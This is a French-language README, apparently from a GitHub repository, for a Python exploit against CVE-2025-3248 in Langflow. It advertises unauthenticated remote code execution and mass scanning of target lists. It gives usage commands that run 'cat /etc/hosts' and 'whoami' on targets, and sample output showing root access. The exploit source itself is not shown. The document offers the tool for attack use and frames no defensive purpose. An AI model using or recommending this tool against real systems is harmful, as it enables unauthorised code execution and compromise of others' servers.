Exploit Langflow CVE-2025-3248

Un exploit basé sur Python pour CVE-2025-3248, permettant à des attaquants distants et non authentifiés d'exécuter du code arbitraire sur des instances Langflow vulnérables via des requêtes HTTP malveillantes.

Fonctionnalités

• Scan d'une seule URL ou en masse depuis un fichier
• Détection automatique des vulnérabilités
• Capacité d'exécution de commandes
• Sortie détaillée avec informations temporelles
• Résultats sauvegardés dans des fichiers séparés pour les cibles vulnérables et non vulnérables
• Statistiques de référence pour les performances du scan

Utilisation

Scan d'une seule URL

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Scan en masse depuis un fichier

python CVE-2025-3248.py -f targets.txt

Exécution de commande personnalisée

python CVE-2025-3248.py -f targets.txt -c "whoami"

Exemple de sortie

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

source: https://github.com/verylazytech